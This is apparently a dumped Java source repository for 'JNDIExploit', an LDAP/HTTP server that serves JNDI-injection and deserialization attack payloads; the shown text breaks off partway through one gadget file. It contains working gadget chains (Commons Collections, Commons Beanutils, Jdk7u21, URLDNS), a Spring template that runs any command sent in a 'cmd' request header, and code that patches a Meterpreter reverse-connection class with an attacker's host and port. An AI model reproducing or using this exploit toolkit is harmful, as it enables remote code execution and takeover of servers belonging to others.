├── JNDIExploit.iml
├── src
├── test
│ └── java
│ │ └── test.groovy
└── main
│ └── java
│ ├── com
│ └── feihong
│ │ └── ldap
│ │ ├── enumtypes
│ │ ├── WebsphereActionType.java
│ │ ├── GadgetType.java
│ │ └── PayloadType.java
│ │ ├── template
│ │ ├── Template.java
│ │ ├── isOK.java
│ │ ├── MyClassLoader.java
│ │ ├── isSuccess.java
│ │ ├── SpringEchoTemplate.java
│ │ ├── WeblogicEchoTemplate.java
│ │ ├── Meterpreter.java
│ │ ├── DynamicInterceptorTemplate.java
│ │ ├── DynamicFilterTemplate.java
│ │ ├── TomcatEchoTemplate.java
│ │ ├── CommandTemplate.java
│ │ ├── DnslogTemplate.java
│ │ ├── ReverseShellTemplate.java
│ │ ├── JettyBehinderFilter.java
│ │ ├── TomcatMemshellall2.java
│ │ ├── BehinderFilter.java
│ │ └── SpringTemp.java
│ │ ├── exceptions
│ │ ├── UnSupportedGadgetTypeException.java
│ │ ├── IncorrectParamsException.java
│ │ ├── UnSupportedActionTypeException.java
│ │ └── UnSupportedPayloadTypeException.java
│ │ ├── Starter.java
│ │ ├── controllers
│ │ ├── LdapMapping.java
│ │ ├── PropertiesRefAddr.java
│ │ ├── LdapController.java
│ │ ├── GroovyBypassController.java
│ │ ├── SerializedDataController.java
│ │ ├── BasicController.java
│ │ └── WebsphereBypassController.java
│ │ ├── gadgets
│ │ ├── utils
│ │ │ ├── Util.java
│ │ │ ├── ClassFiles.java
│ │ │ ├── Reflections.java
│ │ │ └── Gadgets.java
│ │ ├── Custom.java
│ │ ├── Jdk7u21.java
│ │ ├── URLDNS.java
│ │ ├── CommonsCollectionsK2.java
│ │ ├── CommonsCollectionsK1.java
│ │ ├── CommonsBeanutils1.java
│ │ ├── CommonsBeanutils2.java
│ │ ├── C3P0.java
│ │ ├── CVE_2020_2555.java
│ │ ├── CVE_2020_2883.java
│ │ └── Jre8u20.java
│ │ ├── utils
│ │ ├── MyURLClassLoader.java
│ │ ├── ClassByteChange.java
│ │ ├── Cache.java
│ │ ├── Util.java
│ │ └── Config.java
│ │ ├── LdapServer.java
│ │ └── LDAPRefServer.java
│ └── Meterpreter.java
├── target
├── maven-archiver
│ └── pom.properties
└── maven-status
│ └── maven-compiler-plugin
│ └── compile
│ └── default-compile
│ ├── createdFiles.lst
│ └── inputFiles.lst
├── .gitignore
└── .github
└── workflows
└── maven.yml
/JNDIExploit.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/test/java/test.groovy:
--------------------------------------------------------------------------------
1 | class test {
2 | String[] s = new String[[]]
3 | static void main(String[] args) {
4 |
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/target/maven-archiver/pom.properties:
--------------------------------------------------------------------------------
1 | #Generated by Maven
2 | #Sat Jan 14 14:25:03 CST 2023
3 | version=1.5-SNAPSHOT
4 | groupId=org.example
5 | artifactId=JNDIExploit
6 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum WebsphereActionType {
4 | list,
5 | upload,
6 | rce;
7 | }
8 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/Template.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | public interface Template {
4 | void generate();
5 | byte[] getBytes();
6 | void cache();
7 | String getClassName();
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedGadgetTypeException extends RuntimeException {
4 | public UnSupportedGadgetTypeException(){ super();}
5 | public UnSupportedGadgetTypeException(String message){
6 | super(message);
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class IncorrectParamsException extends RuntimeException {
4 | public IncorrectParamsException(){
5 | super();
6 | }
7 | public IncorrectParamsException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/isOK.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | /**
4 | * @ClassName: isOK
5 | * @Description: TODO
6 | * @Author: Summer
7 | * @Date: 2021/8/1 16:40
8 | * @Version: v1.0.0
9 | * @Description:
10 | **/
11 | public class isOK {
12 | public isOK(){
13 | System.out.println("sucess");
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/Starter.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap;
2 |
3 | import com.feihong.ldap.utils.Config;
4 | import java.io.IOException;
5 |
6 | public class Starter {
7 | public static void main(String[] args) throws IOException {
8 | Config.applyCmdArgs(args);
9 | LdapServer.start();
10 | HTTPServer.start();
11 |
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/GadgetType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum GadgetType {
4 | urldns,
5 | commonsbeanutils1,
6 | commonsbeanutils2,
7 | commonscollectionsk1,
8 | commonscollectionsk2,
9 | jdk7u21,
10 | jre8u20,
11 | c3p0,
12 | cve_2020_2555,
13 | cve_2020_2883,
14 | custom;
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedActionTypeException extends RuntimeException{
4 | public UnSupportedActionTypeException(){
5 | super();
6 | }
7 | public UnSupportedActionTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.exceptions;
2 |
3 | public class UnSupportedPayloadTypeException extends RuntimeException {
4 | public UnSupportedPayloadTypeException(){
5 | super();
6 | }
7 | public UnSupportedPayloadTypeException(String message){
8 | super(message);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiled class file
2 | *.class
3 |
4 | # Log file
5 | *.log
6 |
7 | # BlueJ files
8 | *.ctxt
9 |
10 | # Mobile Tools for Java (J2ME)
11 | .mtj.tmp/
12 |
13 | # Package Files #
14 | *.jar
15 | *.war
16 | *.nar
17 | *.ear
18 | *.zip
19 | *.tar.gz
20 | *.rar
21 |
22 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
23 | hs_err_pid*
24 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/MyClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | public class MyClassLoader extends ClassLoader {
4 | MyClassLoader(ClassLoader c){super(c);}
5 |
6 |
7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){
8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapMapping.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target(ElementType.TYPE)
10 | public @interface LdapMapping {
11 | String[] uri();
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/isSuccess.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | public class isSuccess {
4 | public String test = "impl run success";
5 | static {
6 | System.out.println("static run success");
7 | isSuccess x=new isSuccess();
8 | System.out.println(x.getTest());
9 | }
10 |
11 | public String getTest() {
12 | return test;
13 | }
14 |
15 | public String toString() {
16 | System.out.println("toString run success");
17 | return "";
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java:
--------------------------------------------------------------------------------
1 | package com.ibm.websphere.client.factory.jdbc;
2 |
3 | import javax.naming.RefAddr;
4 | import java.util.Properties;
5 |
6 | //this is a stub class required by WebSphere2 ldap handler
7 | public class PropertiesRefAddr extends RefAddr {
8 | private static final long serialVersionUID = 288055886942232156L;
9 | private Properties props;
10 |
11 | public PropertiesRefAddr(String addrType, Properties props) {
12 | super(addrType);
13 | this.props = props;
14 | }
15 |
16 | public Object getContent() {
17 | return this.props;
18 | }
19 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/enumtypes/PayloadType.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.enumtypes;
2 |
3 | public enum PayloadType {
4 | command,
5 | dnslog,
6 | reverseshell,
7 | tomcatecho,
8 | springecho,
9 | weblogicecho,
10 | tomcatmemshell1,
11 | tomcatmemshell2,
12 | tomcatmemshell3,
13 | weblogicmemshell1,
14 | weblogicmemshell2,
15 | jettymemshell,
16 | jbossmemshell,
17 | webspherememshell,
18 | springmemshell,
19 | issuccess,
20 | jettymemshell2,
21 | godzillamemshell,
22 | tomcatmemshellall1,
23 | tomcatmemshellall2,
24 | springmemshellall1,
25 | meterpreter;
26 |
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.exceptions.IncorrectParamsException;
4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 |
9 | public interface LdapController {
10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/utils/Util.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets.utils;
2 |
3 | public class Util {
4 | public static byte[] deleteAt(byte[] bs, int index) {
5 | int length = bs.length - 1;
6 | byte[] ret = new byte[length];
7 |
8 | if(index == bs.length - 1) {
9 | System.arraycopy(bs, 0, ret, 0, length);
10 | } else if(index < bs.length - 1) {
11 | for(int i = index; i < length; i++) {
12 | bs[i] = bs[i + 1];
13 | }
14 |
15 | System.arraycopy(bs, 0, ret, 0, length);
16 | }
17 |
18 | return ret;
19 | }
20 |
21 | public static byte[] addAtIndex(byte[] bs, int index, byte b) {
22 | int length = bs.length + 1;
23 | byte[] ret = new byte[length];
24 |
25 | System.arraycopy(bs, 0, ret, 0, index);
26 | ret[index] = b;
27 | System.arraycopy(bs, index, ret, index + 1, length - index - 1);
28 |
29 | return ret;
30 | }
31 |
32 | public static byte[] addAtLast(byte[] bs, byte b) {
33 | int length = bs.length + 1;
34 | byte[] ret = new byte[length];
35 |
36 | System.arraycopy(bs, 0, ret, 0, length-1);
37 | ret[length - 1] = b;
38 |
39 | return ret;
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/.github/workflows/maven.yml:
--------------------------------------------------------------------------------
1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven
3 |
4 | # This workflow uses actions that are not certified by GitHub.
5 | # They are provided by a third-party and are governed by
6 | # separate terms of service, privacy policy, and support
7 | # documentation.
8 |
9 | name: Java CI with Maven
10 |
11 | on:
12 | push:
13 | branches: [ "main" ]
14 | pull_request:
15 | branches: [ "main" ]
16 |
17 | jobs:
18 | build:
19 |
20 | runs-on: ubuntu-latest
21 |
22 | steps:
23 | - uses: actions/checkout@v4
24 | - name: Set up JDK 17
25 | uses: actions/setup-java@v4
26 | with:
27 | java-version: '17'
28 | distribution: 'temurin'
29 | cache: maven
30 | - name: Build with Maven
31 | run: mvn -B package --file pom.xml
32 |
33 | # Optional: Uploads the full dependency graph to GitHub to improve the quality of Dependabot alerts this repository can receive
34 | - name: Update dependency graph
35 | uses: advanced-security/maven-dependency-submission-action@571e99aab1055c2e71a1e2309b9691de18d6b7d6
36 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets.utils;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 |
7 | public class ClassFiles {
8 | public static String classAsFile(final Class> clazz) {
9 | return classAsFile(clazz, true);
10 | }
11 |
12 | public static String classAsFile(final Class> clazz, boolean suffix) {
13 | String str;
14 | if (clazz.getEnclosingClass() == null) {
15 | str = clazz.getName().replace(".", "/");
16 | } else {
17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
18 | }
19 | if (suffix) {
20 | str += ".class";
21 | }
22 | return str;
23 | }
24 |
25 | public static byte[] classAsBytes(final Class> clazz) {
26 | try {
27 | final byte[] buffer = new byte[1024];
28 | final String file = classAsFile(clazz);
29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
30 | if (in == null) {
31 | throw new IOException("couldn't find '" + file + "'");
32 | }
33 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
34 | int len;
35 | while ((len = in.read(buffer)) != -1) {
36 | out.write(buffer, 0, len);
37 | }
38 | return out.toByteArray();
39 | } catch (IOException e) {
40 | throw new RuntimeException(e);
41 | }
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/Custom.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 |
4 | import com.feihong.ldap.enumtypes.PayloadType;
5 |
6 | import java.io.*;
7 |
8 |
9 | public class Custom {
10 | public static void main(String[] args) throws Exception {
11 |
12 | File file = new File("yso.ser");
13 | if (file.exists() && file.isFile()){
14 | byte[] fileBytes;
15 |
16 | try (FileInputStream inputStream = new FileInputStream(file)) {
17 | fileBytes = new byte[inputStream.available()];
18 | inputStream.read(fileBytes);
19 |
20 | FileOutputStream fous = new FileOutputStream("4444.ser");
21 | fous.write(fileBytes);
22 | fous.close();
23 |
24 | } catch (IOException e) {
25 | e.printStackTrace();
26 | return;
27 | }
28 |
29 | }else {
30 | System.out.println("路径错误读取不到文件 oxo");
31 | }
32 |
33 |
34 | }
35 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
36 |
37 | File file = new File(param[0]);
38 | if (file.exists() && file.isFile()){
39 | byte[] fileBytes;
40 |
41 | try (FileInputStream inputStream = new FileInputStream(file)) {
42 | fileBytes = new byte[inputStream.available()];
43 | inputStream.read(fileBytes);
44 |
45 | return fileBytes;
46 |
47 | } catch (IOException e) {
48 | e.printStackTrace();
49 | System.out.println("[x] 读取错误 oxo");
50 |
51 | }
52 |
53 | }else {
54 | System.out.println("[x] 路径错误读取不到文件 oxo");
55 | }
56 | return new byte[0];
57 | }
58 |
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.utils.Util;
7 |
8 | import javax.xml.transform.Templates;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.ObjectOutputStream;
11 | import java.lang.reflect.InvocationHandler;
12 | import java.util.HashMap;
13 | import java.util.LinkedHashSet;
14 |
15 | public class Jdk7u21 {
16 |
17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
18 | final Object templates = Gadgets.createTemplatesImpl(type, param);
19 |
20 | String zeroHashCodeStr = "f5a5a608";
21 |
22 | HashMap map = new HashMap();
23 | map.put(zeroHashCodeStr, "foo");
24 |
25 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
26 | Reflections.setFieldValue(tempHandler, "type", Templates.class);
27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
28 |
29 | LinkedHashSet set = new LinkedHashSet(); // maintain order
30 | set.add(templates);
31 | set.add(proxy);
32 |
33 | Reflections.setFieldValue(templates, "_auxClasses", null);
34 | Reflections.setFieldValue(templates, "_class", null);
35 |
36 | map.put(zeroHashCodeStr, templates); // swap in real object
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(set);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.utils;
2 |
3 | import java.io.File;
4 | import java.lang.reflect.InvocationTargetException;
5 | import java.lang.reflect.Method;
6 | import java.net.MalformedURLException;
7 | import java.net.URL;
8 | import java.net.URLClassLoader;
9 |
10 | public class MyURLClassLoader {
11 | private URLClassLoader classLoader;
12 |
13 | public MyURLClassLoader(String jarName){
14 | try{
15 | classLoader = getURLClassLoader(jarName);
16 | }catch(MalformedURLException e){
17 | e.printStackTrace();
18 | }
19 | }
20 |
21 | public Class loadClass(String className) {
22 | try{
23 | //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils
24 | //为了避免这种情况,所以调用了 findClass 方法
25 | Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class});
26 | method.setAccessible(true);
27 | Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className});
28 | return clazz;
29 | } catch (NoSuchMethodException e) {
30 | e.printStackTrace();
31 | } catch (IllegalAccessException e) {
32 | e.printStackTrace();
33 | } catch (InvocationTargetException e) {
34 | e.printStackTrace();
35 | }
36 |
37 | return null;
38 | }
39 |
40 |
41 | private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException {
42 | String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName;
43 | File file = new File(path);
44 | URL url = file.toURI().toURL();
45 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
46 | return urlClassLoader;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/URLDNS.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.gadgets.utils.Reflections;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectOutputStream;
7 | import java.net.InetAddress;
8 | import java.net.URL;
9 | import java.net.URLConnection;
10 | import java.net.URLStreamHandler;
11 | import java.util.HashMap;
12 |
13 | public class URLDNS {
14 | public static byte[] getBytes(final String url) throws Exception {
15 |
16 | //Avoid DNS resolution during payload creation
17 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
18 | URLStreamHandler handler = new SilentURLStreamHandler();
19 |
20 | HashMap ht = new HashMap(); // HashMap that will contain the URL
21 | URL u = new URL(null, url, handler); // URL to use as the Key
22 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
23 |
24 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
25 |
26 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
27 | ObjectOutputStream oos = new ObjectOutputStream(baous);
28 | oos.writeObject(ht);
29 | byte[] bytes = baous.toByteArray();
30 | oos.close();
31 |
32 | return bytes;
33 | }
34 |
35 |
36 | static class SilentURLStreamHandler extends URLStreamHandler {
37 |
38 | protected URLConnection openConnection(URL u) throws IOException {
39 | return null;
40 | }
41 |
42 | protected synchronized InetAddress getHostAddress(URL u) {
43 | return null;
44 | }
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.template;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8 | import org.springframework.web.context.request.RequestAttributes;
9 | import org.springframework.web.context.request.RequestContextHolder;
10 | import org.springframework.web.context.request.ServletRequestAttributes;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 |
14 | public class SpringEchoTemplate extends AbstractTranslet {
15 |
16 | public SpringEchoTemplate(){
17 | try{
18 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
19 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest();
20 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse();
21 |
22 | String cmd = httprequest.getHeader("cmd");
23 | if(cmd != null && !cmd.isEmpty()){
24 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
25 | httpresponse.getWriter().println(res);
26 | }
27 | }catch(Exception e){
28 | e.printStackTrace();
29 | }
30 | }
31 |
32 | @Override
33 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
34 |
35 | }
36 |
37 | @Override
38 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
39 |
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import org.apache.commons.collections4.functors.InvokerTransformer;
7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry;
8 | import org.apache.commons.collections4.map.LazyMap;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.FileOutputStream;
11 | import java.io.ObjectOutputStream;
12 | import java.util.HashMap;
13 | import java.util.Map;
14 |
15 | public class CommonsCollectionsK2 {
16 | public static void main(String[] args) throws Exception {
17 | byte[] bytes = getBytes(PayloadType.command, "calc");
18 | FileOutputStream fous = new FileOutputStream("4444.ser");
19 | fous.write(bytes);
20 | fous.close();
21 | }
22 |
23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
24 | Object tpl = Gadgets.createTemplatesImpl(type, param);
25 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
26 |
27 | HashMap innerMap = new HashMap();
28 | Map m = LazyMap.lazyMap(innerMap, transformer);
29 |
30 | Map outerMap = new HashMap();
31 | TiedMapEntry tied = new TiedMapEntry(m, tpl);
32 | outerMap.put(tied, "t");
33 | // clear the inner map data, this is important
34 | innerMap.clear();
35 |
36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(outerMap);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import org.apache.commons.collections.functors.InvokerTransformer;
7 | import org.apache.commons.collections.keyvalue.TiedMapEntry;
8 | import org.apache.commons.collections.map.LazyMap;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.FileOutputStream;
11 | import java.io.ObjectOutputStream;
12 | import java.util.HashMap;
13 | import java.util.Map;
14 |
15 | public class CommonsCollectionsK1 {
16 | public static void main(String[] args) throws Exception {
17 | byte[] bytes = getBytes(PayloadType.command, "calc");
18 | FileOutputStream fous = new FileOutputStream("out2222.ser");
19 | fous.write(bytes);
20 | fous.close();
21 | }
22 |
23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
24 | Object tpl = Gadgets.createTemplatesImpl(type, param);
25 |
26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
27 | HashMap innerMap = new HashMap();
28 | Map m = LazyMap.decorate(innerMap, transformer);
29 |
30 | Map outerMap = new HashMap();
31 | TiedMapEntry tied = new TiedMapEntry(m, tpl);
32 | outerMap.put(tied, "t");
33 | // clear the inner map data, this is important
34 | innerMap.clear();
35 |
36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
37 |
38 | //序列化
39 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
40 | ObjectOutputStream oos = new ObjectOutputStream(baous);
41 | oos.writeObject(outerMap);
42 | byte[] bytes = baous.toByteArray();
43 | oos.close();
44 |
45 | return bytes;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/utils/ClassByteChange.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.utils;
2 |
3 | import com.feihong.ldap.template.Meterpreter;
4 | import javassist.*;
5 |
6 | import java.io.*;
7 |
8 | public class ClassByteChange {
9 |
10 | public static void main(String[] args) {
11 | try {
12 | update(Meterpreter.class);
13 | } catch (NotFoundException e) {
14 | e.printStackTrace();
15 | } catch (CannotCompileException e) {
16 | e.printStackTrace();
17 | } catch (IOException e) {
18 | e.printStackTrace();
19 | }
20 | }
21 | //动态获取.class
22 | public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException {
23 |
24 | File dir=new File("");
25 | String ap=dir.getAbsolutePath();
26 | ap=ap+File.separatorChar+"data";
27 | ClassPool cPool = new ClassPool(true);
28 |
29 | //设置class文件的位置
30 | cPool.insertClassPath(ap);
31 |
32 | cPool.importPackage("java.io.DataInputStream");
33 | cPool.importPackage("java.io.InputStream");
34 | cPool.importPackage("java.net.Socket;");
35 | cPool.importPackage("java.io.OutputStream");
36 | cPool.importPackage("java.util.HashMap");
37 | //获取该class对象
38 | CtClass cClass = cPool.get("Meterpreter");
39 | //获取到对应的方法
40 | CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost");
41 |
42 | cMethodHost.setBody("{ this.host = \""+Config.rhost+"\";\n" +
43 | " this.port = \""+Config.rport+"\";}");
44 |
45 | //替换原有的文件
46 | cClass.writeFile(ap);
47 | InputStream in= new FileInputStream(ap+File.separatorChar+"Meterpreter.class");
48 | byte[] bytes = new byte[1024];
49 | ByteArrayOutputStream baous = new ByteArrayOutputStream();
50 | int len = 0;
51 | while((len = in.read(bytes)) != -1){
52 | baous.write(bytes, 0 , len);
53 | }
54 |
55 | in.close();
56 | baous.close();
57 |
58 | return baous.toByteArray();
59 |
60 |
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.gadgets;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.gadgets.utils.Gadgets;
5 | import com.feihong.ldap.gadgets.utils.Reflections;
6 | import com.feihong.ldap.utils.MyURLClassLoader;
7 | import java.io.ByteArrayOutputStream;
8 | import java.io.FileOutputStream;
9 | import java.io.ObjectOutputStream;
10 | import java.math.BigInteger;
11 | import java.util.Comparator;
12 | import java.util.PriorityQueue;
13 |
14 | public class CommonsBeanutils1 {
15 | public static void main(String[] args) throws Exception {
16 | byte[] bytes = getBytes(PayloadType.command, "calc");
17 | FileOutputStream fous = new FileOutputStream("333.ser");
18 | fous.write(bytes);
19 | fous.close();
20 | }
21 |
22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception {
23 | final Object templates = Gadgets.createTemplatesImpl(type, param);
24 | // mock method name until armed
25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar");
26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"});
28 |
29 |
30 | // create queue with numbers and basic comparator
31 | final PriorityQueue